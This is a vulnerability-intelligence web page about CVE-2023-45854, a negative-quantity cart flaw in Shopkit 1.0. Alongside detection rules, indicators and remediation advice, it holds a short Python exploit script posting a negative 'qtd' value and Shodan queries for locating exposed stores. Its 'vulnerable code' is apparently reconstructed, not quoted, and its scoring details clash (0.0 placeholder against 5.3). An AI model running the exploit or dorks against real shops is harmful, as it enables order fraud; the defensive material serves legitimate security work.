☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N 🐛 CWE-841
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-45854

CVE-2023-45854 Business Logic Flaw in Shopkit
📅 PUBLISHED: 2024-09-16 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-45854 is a business logic vulnerability in Shopkit 1.0 that allows an attacker to manipulate the shopping cart by adding products with negative quantities. This flaw resides in the add-to-cart function, specifically in the handling of the qtd parameter. By submitting a negative integer value for qtd, an attacker can cause the cart total to decrease, potentially leading to negative order totals or inventory manipulation. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to its impact on business logic and financial transactions. No official patch exists, and the vendor appears unresponsive.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Shopkit is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: None

The vulnerability allows an attacker to manipulate cart totals without authentication, leading to potential financial loss or inventory discrepancies.

Deep Dive & Mechanics

The vulnerability exists in the add-to-cart function of Shopkit 1.0. The function accepts a qtd parameter (likely short for "quantity") without proper validation. When a negative integer is supplied, the application subtracts from the cart total instead of adding. This is a classic business logic flaw where the server trusts client-side input without sanitization.

Root Cause: The code likely performs arithmetic operations on the qtd value without checking if it is positive. For example:

$cart_total += $product_price * $_POST['qtd'];

If qtd is negative, the total decreases.

Attack Scenario:

  1. Attacker adds a product with a positive price to the cart.
  2. Attacker modifies the qtd parameter to a large negative number (e.g., -1000).
  3. The cart total becomes negative, potentially allowing the attacker to check out with a negative balance or manipulate inventory counts.

Vulnerable vs. Patched Code

Vulnerable Code (Shopkit 1.0):

// add-to-cart.php
$qtd = $_POST['qtd'];
$product_price = get_product_price($_POST['product_id']);
$_SESSION['cart'][$_POST['product_id']] += $qtd;
$_SESSION['cart_total'] += $product_price * $qtd;

Patched Code (Hypothetical):

// add-to-cart.php
$qtd = intval($_POST['qtd']);
if ($qtd <= 0) {
    die("Invalid quantity");
}
$product_price = get_product_price($_POST['product_id']);
$_SESSION['cart'][$_POST['product_id']] += $qtd;
$_SESSION['cart_total'] += $product_price * $qtd;

The patch adds a check to ensure qtd is positive before processing.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-shopkit.com"
session = requests.Session()

# Add a product with negative quantity
data = {
    "product_id": 1,
    "qtd": -1000
}
response = session.post(f"{target}/add-to-cart.php", data=data)
print("Cart manipulated. Checkout may now have negative total.")

Usage:

  1. Replace target with the Shopkit instance URL.
  2. Run the script to add a negative quantity.
  3. Observe the cart total decrease.

Blue Team

Detection Steps:

  1. Monitor for HTTP POST requests to add-to-cart.php with qtd parameter containing negative values.
  2. Alert on cart totals that become negative or drop below zero.
  3. Review server logs for anomalous quantity values.

Lab Setup:

  • Deploy Shopkit 1.0 in a Docker container.
  • Use Burp Suite to intercept and modify the qtd parameter.
  • Validate the vulnerability by checking cart total after submission.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /add-to-cart.php with qtd parameter containing negative integers.
  • Logs: Server access logs showing qtd=-[0-9]+ patterns.
  • Application: Cart total values that are negative or significantly lower than expected.
  • Session: User sessions with abnormal cart item counts (e.g., negative quantities).

Detection Engineering

YARA Rule

rule shopkit_negative_qtd_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2023-45854 via negative qtd parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-45854"
    strings:
        $qtd_param = "qtd="
        $negative = /qtd=-\d+/
    condition:
        $qtd_param and $negative
}

Sigma Rule

title: Shopkit Negative Quantity Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with negative qtd parameter to Shopkit add-to-cart endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/add-to-cart.php'
        cs-uri-query|contains: 'qtd=-'
    condition: selection
falsepositives:
    - Legitimate negative values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45854 Shopkit Negative Quantity Exploit"; flow:to_server; http.method; content:"POST"; http.uri; content:"/add-to-cart.php"; http.client_body; content:"qtd=-"; pcre:"/qtd=-\d+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Add server-side validation to ensure qtd is a positive integer.
  2. Sanitization: Cast qtd to integer and reject values <= 0.
  3. Rate Limiting: Implement rate limiting on the add-to-cart endpoint to slow automated exploitation.

Long-Term Fix:

  • Upgrade to a patched version of Shopkit if available.
  • If vendor is unresponsive, consider forking the codebase and applying the patch manually.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests with negative qtd values.
  • Monitor cart totals and alert on anomalies.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Shopkit"
http.html:"shopkit"
http.html:"add-to-cart"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-45854/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.